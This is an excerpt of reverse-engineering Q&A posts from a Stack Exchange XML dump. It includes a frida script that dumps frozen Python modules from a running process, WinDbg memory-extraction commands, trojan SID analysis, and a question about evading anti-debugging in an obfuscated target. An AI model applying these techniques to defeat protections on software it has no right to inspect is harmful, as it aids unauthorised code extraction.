LastActivityDate="2015-05-23T05:40:34.353" Title="Reverse Engineering a python mac application compiled with &quot;freeze&quot;" Tags="|python|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8950" PostTypeId="2" ParentId="8920" CreationDate="2015-05-21T23:31:39.240" Score="0" Body="&lt;p&gt;The script below seems to read the data from idle TkChild Window the Data read is available in clipboard pastable to say notepad is this what you are trying to achieve ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ctypes import *&#xA;u32 = windll.user32&#xA;k32 = windll.kernel32&#xA;toppywin = u32.FindWindowA(&quot;TkTopLevel&quot;,&quot;*Untitled*&quot;);&#xA;subpywin = u32.FindWindowExA(toppywin,0,&quot;TKChild&quot;,&quot;&quot;)&#xA;u32.SetForegroundWindow(subpywin)&#xA;#simulating ctrl+A , Ctrl+c , Right Arrow, enter  and ctrl+V keys &#xA;u32.keybd_event (0x11, u32.MapVirtualKeyA(0x11,0), 1, 0) #ctrl dn&#xA;u32.keybd_event (0x41, u32.MapVirtualKeyA(0x41,0), 1, 0) #selA dn&#xA;u32.keybd_event (0x41, u32.MapVirtualKeyA(0x41,0), 3, 0) #   A up&#xA;u32.keybd_event (0x43, u32.MapVirtualKeyA(0x43,0), 1, 0) #cpyC dn&#xA;u32.keybd_event (0x43, u32.MapVirtualKeyA(0x43,0), 3, 0) #   C up&#xA;u32.keybd_event (0x11, u32.MapVirtualKeyA(0x11,0), 3, 0) #ctrl up&#xA;u32.keybd_event (0x27, u32.MapVirtualKeyA(0x27,0), 1, 0) #rightdn&#xA;u32.keybd_event (0x27, u32.MapVirtualKeyA(0x27,0), 3, 0) #rightup&#xA;u32.keybd_event (0x0D, u32.MapVirtualKeyA(0x0D,0), 1, 0) #enterdn&#xA;u32.keybd_event (0x0D, u32.MapVirtualKeyA(0x0D,0), 3, 0) #enterup&#xA;u32.keybd_event (0x11, u32.MapVirtualKeyA(0x11,0), 1, 0) #ctrl dn&#xA;u32.keybd_event (0x56, u32.MapVirtualKeyA(0x56,0), 1, 0) #pastVdn&#xA;u32.keybd_event (0x56, u32.MapVirtualKeyA(0x56,0), 3, 0) #   V up&#xA;u32.keybd_event (0x11, u32.MapVirtualKeyA(0x11,0), 3, 0) #ctrl up&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oRBKB.png&quot; alt=&quot;retrieve text from python idle window &quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-05-21T23:31:39.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8951" PostTypeId="2" ParentId="8949" CreationDate="2015-05-22T04:02:49.200" Score="2" Body="&lt;p&gt;As per the &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/5860/reverse-engineering-program-written-in-python-compiled-with-freeze&quot;&gt;linked post&lt;/a&gt; you can use any debugger to dump frozen modules compiled with freeze. However since you are on a mac, PyCommand and Immunity Debugger will not work. However that does not prevent you from working your ways in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a non Windows OS, you can use &lt;a href=&quot;http://www.frida.re/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;frida&lt;/em&gt;&lt;/a&gt; to inject your code inside the running executable. &lt;strike&gt;Since frida injects &lt;em&gt;javascript&lt;/em&gt; inside the process, you need to translate the &lt;em&gt;python&lt;/em&gt; code to &lt;em&gt;js&lt;/em&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need to dump relevant frozen modules, and it would happen automatically as &lt;code&gt;_frozen&lt;/code&gt; is an array of all frozen modules.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a script to dump frozen modules using the &lt;a href=&quot;https://pypi.python.org/pypi/frida&quot; rel=&quot;nofollow&quot;&gt;python bindings&lt;/a&gt; for frida. The script is fairly portable and should work on all OS. You only need to provide the &lt;a href=&quot;http://en.wikipedia.org/wiki/Process_identifier&quot; rel=&quot;nofollow&quot;&gt;PID&lt;/a&gt; of the relevant process which you can get from &lt;em&gt;Activity Monitor&lt;/em&gt; / &lt;em&gt;System Monitor&lt;/em&gt; / &lt;em&gt;Task Manager&lt;/em&gt; for your OS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import frida, struct, sys&#xA;&#xA;# Magic value of pyc files, The value provided here is for python 2.7&#xA;# You can get it by imp.get_magic()&#xA;PYTHONMAGIC = '\x03\xF3\x0D\x0A' + '\x00' * 4&#xA;&#xA;# Provide the pid of your process&#xA;PID = 2008&#xA;&#xA;# The size of a pointer is 8 bytes on 64 bit OS and 4 on a 32 bit OS&#xA;ptr_size = 8 if sys.maxsize &amp;gt; 2**32 else 4&#xA;&#xA;# Name of python shared library&#xA;if sys.platform.startswith('linux'):&#xA;    lib_name = 'libpython2.7.so'&#xA;elif sys.platform.startswith('darwin'):&#xA;    lib_name = 'libpython2.7.dylib'&#xA;elif sys.platform.startswith('win32'):&#xA;    lib_name = 'python27.dll'&#xA;else:&#xA;    raise Exception('Unsupported platform')&#xA;&#xA;&#xA;session = frida.attach(PID)&#xA;export_va = 0&#xA;&#xA;# Read a null terminated C string or a char array of a given length&#xA;def readString(addr, size = 0):&#xA;    if size &amp;gt; 0:&#xA;        return struct.unpack('@{}s'.format(size) , session.read_bytes(addr, size))[0]&#xA;    elif size == 0:&#xA;        s = ''&#xA;        while True:&#xA;            ch, = struct.unpack('@c', session.read_bytes(addr, 1))&#xA;            addr += 1&#xA;            if ch == '\x00':&#xA;                break&#xA;            else:&#xA;                s += ch&#xA;        return s&#xA;    else:&#xA;        return ''&#xA;&#xA;&#xA;modules = session.enumerate_modules()&#xA;for module in modules:&#xA;    if module.name == lib_name:&#xA;        exports = module.enumerate_exports()&#xA;        for export in exports:&#xA;            if export.name == 'PyImport_FrozenModules':&#xA;                export_va = module.base_address + export.relative_address&#xA;                break&#xA;    if export_va != 0:&#xA;        break&#xA;&#xA;&#xA;if export_va == 0:&#xA;    raise Exception(&quot;Could not get export address of PyImport_FrozenModules&quot;)&#xA;&#xA;structAddr, = struct.unpack_from('@P', session.read_bytes(export_va , ptr_size))&#xA;&#xA;while True:&#xA;    ptrToName, ptrToCode, sizeOfCode = struct.unpack_from('@PPi', session.read_bytes(structAddr, ptr_size * 2 + 4))&#xA;    structAddr += ptr_size * 2 + 4&#xA;&#xA;    # The array is terminated by a structure whose members are null&#xA;    if ptrToName == 0 and ptrToCode == 0 and sizeOfCode == 0:&#xA;        break&#xA;&#xA;    moduleName = readString(ptrToName)&#xA;    moduleCode = readString(ptrToCode, sizeOfCode)&#xA;&#xA;    # You can change the output path here&#xA;    with open(moduleName + '.pyc', 'wb') as f:&#xA;        f.write(PYTHONMAGIC + moduleCode)&#xA;&#xA;print '[*] Frozen modules dumped'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-05-23T05:40:34.353" LastActivityDate="2015-05-23T05:40:34.353" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8952" PostTypeId="2" ParentId="8302" CreationDate="2015-05-22T06:43:52.840" Score="0" Body="&lt;p&gt;For a length of the edited bytes that is smaller than the original use the NOP NOP NOPs to fill in the gaps&lt;/p&gt;&#xA;" OwnerUserId="11544" LastActivityDate="2015-05-22T06:43:52.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8953" PostTypeId="1" CreationDate="2015-05-22T09:46:09.610" Score="0" ViewCount="616" Body="&lt;p&gt;I am trying to execute this assembly function. But after calling &lt;strong&gt;Test_init&lt;/strong&gt; function, I am getting &quot;Access violation executing location&quot;  error at line &quot;add     esp,4&quot;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_402110  proc near       ; CODE XREF: _main+37p&#xA;&#xA;var_AC      = dword ptr -0ACh&#xA;var_A8      = dword ptr -0A8h&#xA;var_A4      = dword ptr -0A4h&#xA;var_A0      = dword ptr -0A0h&#xA;var_9C      = dword ptr -9Ch&#xA;var_95      = byte ptr -95h&#xA;var_94      = byte ptr -94h&#xA;Dest        = byte ptr -38h&#xA;var_14      = byte ptr -14h&#xA;var_4       = dword ptr -4&#xA;&#xA;        push    ebp&#xA;        mov ebp, esp&#xA;        sub esp, 0ACh&#xA;        xor eax, ebp&#xA;        mov [ebp+var_4], eax&#xA;        mov [ebp+var_A4], offset aHelloWorld ; &quot;Hello World&quot;&#xA;        lea eax, [ebp+var_94]&#xA;        push    eax&#xA;        call    ds:Test_Init&#xA;        add     esp,4&#xA;        mov ecx, [ebp+var_A4]&#xA;        mov [ebp+var_A0], ecx&#xA;        mov edx, [ebp+var_A0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me to way out from this problem. Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="8179" LastActivityDate="2015-05-22T09:46:09.610" Title="Getting &quot;Access violation executing location&quot; error" Tags="|ida|assembly|memory|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8954" PostTypeId="2" ParentId="8929" CreationDate="2015-05-22T09:51:53.250" Score="2" Body="&lt;p&gt;The explanation below goes only for native apps:&#xA;If you want to understand how to find out where buttons' events occur, I advice you to learn coding in these languages: ASM, C++, and Delphi (at least get a general approach about them). Then, try to find where the event occurs of your code in the compiled file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use google translation for this page, I wrote about this stuff once:&#xA;&lt;a href=&quot;http://www.at4re.com/f/showthread.php?11276&quot; rel=&quot;nofollow&quot;&gt;http://www.at4re.com/f/showthread.php?11276&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11757" LastActivityDate="2015-05-22T09:51:53.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8955" PostTypeId="1" AcceptedAnswerId="8985" CreationDate="2015-05-22T10:02:03.793" Score="3" ViewCount="6075" Body="&lt;p&gt;Is there a way to set memory breakpoint on Access on IDA in Win32 debugger... like we do in Olly from the memory window ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to do that with the example &quot;UnPackMe_NoNamePacker.d.out.exe&quot; in 20th tutorial in lena series, but it's never triggered. Actually, after setting the memory bp on &quot;text&quot; seg., the app won't run !&#xA;Here is the file: &lt;a href=&quot;https://tuts4you.com/download.php?view.141&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?view.141&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11757" LastActivityDate="2015-05-26T13:33:55.360" Title="Set memory breakpoing on access on a section in IDA" Tags="|ida|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8957" PostTypeId="1" CreationDate="2015-05-22T15:25:18.833" Score="2" ViewCount="240" Body="&lt;p&gt;during an analysis, I had the following situation: The main thread allocates some space, the base address is 002E0000. Then it put opcodes (of the new thread) to that place. So, 002E0000 was the starting address of the new thread and later it called &lt;code&gt;CreateRemoteThread()&lt;/code&gt; API and Ollydbg switchs to 002E0000 (dwCreationFlags was set to 0 , so the new thread started immediately)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my question: When I try to set a BP on one of the virtual addresses of the new thread, I get the following error message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IUnRN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried on Hardware BPs but it did not help. Why I can not set the BP ? In the main thread, everything was ok. How can I bypass this to analyze the new thread with all the BP setting features of Ollydbg ? Note: I am using Ollydbg v1.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="12383" LastEditDate="2015-10-19T22:27:34.473" LastActivityDate="2015-12-18T23:14:16.273" Title="Analyze a created thread after main thread" Tags="|assembly|ollydbg|breakpoint|error-messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8958" PostTypeId="2" ParentId="8957" CreationDate="2015-05-22T15:30:20.387" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why I can not set the BP ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The warning message in the screenshot is telling you that you &lt;em&gt;can&lt;/em&gt; set the BP.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-22T15:30:20.387" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8959" PostTypeId="1" CreationDate="2015-05-22T15:56:04.580" Score="1" ViewCount="178" Body="&lt;p&gt;I have found the following in a trojan sample. First, it gets the token of the current process and then it calls the &lt;code&gt;GetTokenInformation()&lt;/code&gt; API with &lt;code&gt;TokenGroups&lt;/code&gt; as &lt;code&gt;InfoClass&lt;/code&gt; parameter. So, it puts the TOKEN_GROUPS structure to a certain place. Later, it uses the &lt;code&gt;AllocateAndInitializeSid()&lt;/code&gt; API with the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      PUSH EAX&#xA;      PUSH EBX&#xA;      PUSH EBX&#xA;      PUSH EBX&#xA;      PUSH EBX&#xA;      PUSH EBX&#xA;      PUSH EBX&#xA;      PUSH 220&#xA;      PUSH 20&#xA;      PUSH 2&#xA;      LEA EAX, DWORD PTR DS:[EBP - C]&#xA;      PUSH EAX&#xA;      CALL DWORD PTR DS:[&amp;amp;ADVAPI32.AllocateAndInitializeSid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, is the SID string S-1-20-220 ? If not, how I can extract this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Some lines later, the trojan compares this SID with the SID values from the TOKEN_GROUPS structure using using the &lt;code&gt;EqualSid()&lt;/code&gt; API. I mean, it accesses the 2nd field of TOKEN_GROUPS structure which is an array that consists of SID_AND_ATTRIBUTES structures. Each of these structures has a SID field which is compared with the initialized SID. For that reason, I would like to know how the initialized SID looks like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-06-21T16:52:43.440" Title="How to extract the SID string?" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8960" PostTypeId="2" ParentId="8959" CreationDate="2015-05-22T16:22:48.063" Score="1" Body="&lt;p&gt;Based on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa375213&quot; rel=&quot;nofollow noreferrer&quot;&gt;the documentation for &lt;code&gt;AllocateAndInitializeSid()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  PUSH EAX ; pSid&#xA;  PUSH EBX ; dwSubAuthority7&#xA;  PUSH EBX ; dwSubAuthority6&#xA;  PUSH EBX ; dwSubAuthority5&#xA;  PUSH EBX ; dwSubAuthority4&#xA;  PUSH EBX ; dwSubAuthority3&#xA;  PUSH EBX ; dwSubAuthority2&#xA;  PUSH 220 ; dwSubAuthority1&#xA;  PUSH 20  ; dwSubAuthority0&#xA;  PUSH 2   ; nSubAuthorityCount&#xA;  LEA EAX, DWORD PTR DS:[EBP - C]&#xA;  PUSH EAX ; pIdentifierAuthority&#xA;  CALL DWORD PTR DS:[&amp;amp;ADVAPI32.AllocateAndInitializeSid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that &lt;code&gt;EBX&lt;/code&gt; was set to &lt;code&gt;0&lt;/code&gt;, so this is effectively the following snippet from &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa379620(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/desktop/aa379620(v=vs.85).aspx&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/metvH.png&quot; alt=&quot;Snippet&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SID for &lt;code&gt;BUILTIN\Administrators&lt;/code&gt; is &lt;code&gt;S-1-5-32-544&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-22T16:22:48.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8961" PostTypeId="1" CreationDate="2015-05-22T16:26:01.327" Score="5" ViewCount="2820" Body="&lt;p&gt;I'm trying to improve my use of ida/hexrays... I have a x86 linux elf binary, non-stripped, statically linked w/ openssl. So you can see all of the OpenSSL function names in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the tilib cli tool to make a type library from the bio.h header. It looks like it worked and the .til has a bunch of struct and function definitions. I copied it over and added it in ida in the &quot;type libraries&quot; dialog. I know it got stuff cause I retyped a parameter in a function in hexrays from int to BIO* and it fixed up all of the references to the struct members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's not fixing up function prototypes. e.g. BIO_puts is still (int,int) even though the til has it as (BIO *bp, const char *buf).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong, or am I expecting too much out of hexrays/ida? thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="12578" LastActivityDate="2015-05-26T13:25:00.600" Title="IdaPro/HexRays type libraries" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8962" PostTypeId="2" ParentId="8942" CreationDate="2015-05-22T18:36:08.477" Score="9" Body="&lt;h2&gt;Disassembling&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can disassemble in WinDbg at any memory address, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:067&amp;gt; db 000007fe`ff4d0000&#xA;000007fe`ff4d0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............&#xA;000007fe`ff4d0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......&#xA;000007fe`ff4d0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;000007fe`ff4d0030  00 00 00 00 00 00 00 00-00 00 00 00 e0 00 00 00  ................&#xA;000007fe`ff4d0040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th&#xA;000007fe`ff4d0050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno&#xA;000007fe`ff4d0060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS &#xA;000007fe`ff4d0070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......&#xA;&#xA;0:067&amp;gt; u 000007fe`ff4d0000 L1&#xA;advapi32!WmipBuildReceiveNotification &amp;lt;PERF&amp;gt; (advapi32+0x0):&#xA;000007fe`ff4d0000 4d5a            pop     r10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as you can see, this is more or less useless (in my example useless to disassemble the &lt;code&gt;MZ&lt;/code&gt; magic bytes of a DLL's header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, finding the right starting place for a disassembly is the critical part.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Finding code as part of DLLs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Code should mainly be in DLLs or EXEs (called images or modules in WinDbg). To find them in a memory dump (kernel or user mode), you can run the WinDbg command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.imgscan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From WinDbg help:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The .imgscan command scans virtual memory for image headers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The .imgscan command displays any image headers that it finds and the header type. Header types include Portable Executable (PE) headers and Microsoft MS-DOS MZ headers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was able to verify this in user mode, but with the only Windows XP kernel mode dump I currently have, it does not output anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example output from a user mode dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MZ at 000007fe`ff4d0000, prot 00000004, type 00020000 - size db000&#xA;  Name: ADVAPI32.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all the necessary information to get the DLL is available. In case of a user mode dump I have used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.writemem &amp;lt;FileName&amp;gt; &amp;lt;Range&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to write the DLL to disk and analyze later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;Range&amp;gt;&lt;/code&gt; is according the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/address-and-address-range-syntax&quot; rel=&quot;nofollow noreferrer&quot;&gt;address and range syntax&lt;/a&gt;, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.writemem advapi32.dll 000007fe`ff4d0000 Ldb000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This probably won't work for kernel mode dumps because parts of the module may have been swapped to disk, so the DLL in memory is no longer complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach will also not find code that was generated on the fly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Finding potentially executable code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Code that can be executed must reside in a memory block that has the &lt;code&gt;executable&lt;/code&gt; flag set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!address -f:&amp;lt;filter&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is broken in WinDbg 6.2.9200. It should work in user mode dumps and output a list of start and end addresses that are executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I only get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:067&amp;gt; !address -f:PAGE_EXECUTE&#xA;&#xA;        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage&#xA;------------------------------------------------------------------------------------------------------------------------&#xA;&#xA;0:067&amp;gt; !address -f:PAGE_EXECUTE_READ&#xA;Invalid filter arguments. Type !address -? to get the list of supported parameters&#xA;0:067&amp;gt; !address -f:PAGE_EXECUTE_READWRITE&#xA;Invalid filter arguments. Type !address -? to get the list of supported parameters&#xA;0:067&amp;gt; !address -f:PAGE_EXECUTE_WRITECOPY&#xA;Invalid filter arguments. Type !address -? to get the list of supported parameters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although I have a full memory dump&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:067&amp;gt; .dumpdebug&#xA;...&#xA;Flags           40002&#xA;                0002 MiniDumpWithFullMemory&#xA;                40000 MiniDumpWithTokenInformation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you get the idea and might be able to apply it to other tools.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditDate="2020-04-11T18:48:33.673" LastActivityDate="2020-04-11T18:48:33.673" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8964" PostTypeId="2" ParentId="8920" CreationDate="2015-05-22T21:47:15.227" Score="0" Body="&lt;p&gt;After lots of research I have found an option:&#xA;&lt;a href=&quot;http://jonathonreinhart.blogspot.de/2012/12/named-pipes-between-c-and-python.html&quot; rel=&quot;nofollow&quot;&gt;Python C# Pipe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It creates a temp file where I then can communicate between Python and C#. So I can now write an extension for the idle which will get the text inside the tkinter textbox and sends it to my c# wpf window :)&lt;/p&gt;&#xA;" OwnerUserId="12538" LastActivityDate="2015-05-22T21:47:15.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8965" PostTypeId="1" CreationDate="2015-05-23T01:15:48.757" Score="1" ViewCount="917" Body="&lt;p&gt;I want to change the port number a program listens on. The program is a proprietary linux binary, Plex, that always listens to tcp port 32400 (hard-coded).  Since I want to run this on a shared server, another person may already be using this port.  I do not have root access on the server.  The VPS provider is OK with Plex running on their servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to use something like LD_PRELOAD to change the port number? If so, how would I go about doing this?  If not, how else might I accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forums.plex.tv/index.php/topic/134609-issues-changing-default-port-from-32400-on-vps/&quot; rel=&quot;nofollow&quot;&gt;Issues changing default port from 32400 on VPS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12582" LastEditorUserId="12582" LastEditDate="2015-05-23T01:25:15.137" LastActivityDate="2015-05-23T08:18:23.437" Title="How can I change the a port a program listens on?" Tags="|linux|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8966" PostTypeId="1" AcceptedAnswerId="8996" CreationDate="2015-05-23T01:32:32.950" Score="0" ViewCount="3512" Body="&lt;p&gt;I've been looking into the PE format using a random DLL as a test case. When I look manually at the entry point specified in the optional header (and add the image base, because RVA) it doesn't match the entry point address IDA gives in the exports list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know reading the entry point from the DLL isn't the problem, since if I calculate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(AddressOfEntryPoint - [.text section virtual]) + [.text section offset]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(which should give the file offset to the entry point) you can find at the offset the same bytes that IDA says should be in the entry function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I know that IDA must be calculating the entry point from this field since &lt;code&gt;DLLEntryPoint&lt;/code&gt; isn't in the exports list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? If I do the same analysis on a normal executable everything works.&lt;/p&gt;&#xA;" OwnerDisplayName="user12522" LastEditorDisplayName="user12522" LastEditDate="2015-05-23T15:57:44.660" LastActivityDate="2015-05-26T22:11:04.260" Title="DLL entry point in memory" Tags="|dll|entry-point|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8967" PostTypeId="2" ParentId="8965" CreationDate="2015-05-23T01:48:42.950" Score="3" Body="&lt;p&gt;You have a couple of options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an hex editor to change the value manually. This might be the easiest option, provided you don't update that binary too often. A method to find the offset to modify would involve disassembling the binary and identify the value to change.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a container, like docker, where the binary could still be listening to 32400 &lt;em&gt;inside&lt;/em&gt; the container, but you could map this to another port outside of it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use LD_PRELOAD, you could use that to intercept calls to &lt;code&gt;bind()&lt;/code&gt; and change what is passed to it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12583" LastActivityDate="2015-05-23T01:48:42.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8968" PostTypeId="1" AcceptedAnswerId="8972" CreationDate="2015-05-23T05:13:44.103" Score="0" ViewCount="1427" Body="&lt;p&gt;I'm working on a program that has lots of checks, and I've decided to start by disabling their anti-kernel mode, as it'd surely be more easy to isolate than normal anti-debugging. After poking around a little, I found that &lt;code&gt;ntdll.zwquerysysteminformation&lt;/code&gt; runs in a loop in the main thread called by several &lt;code&gt;.vmp&lt;/code&gt; addresses. Since I &lt;strong&gt;can't make memory changes, even in DLLs&lt;/strong&gt; (or debug it normally), I was thinking about setting up kernel mode breakpoints until I have a bit more to go off of, but to do that, I'd need the offset from the base structure containing the byte. Microsoft doesn't seem to provide this, so would anyone happen to know? Or maybe have general pointers on getting past kernel mode detection in obfuscated targets? I know this is pretty broad, but I'm pretty sure they'd only have used the most basic of methods.&lt;/p&gt;&#xA;" OwnerUserId="12585" LastActivityDate="2015-05-24T02:49:23.310" Title="Anti-kernelmode functions (specifically zwquerysysteminformation)" Tags="|disassembly|debuggers|kernel-mode|" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-28T09:44:09.003" ContentLicense="CC BY-SA 3.0" />
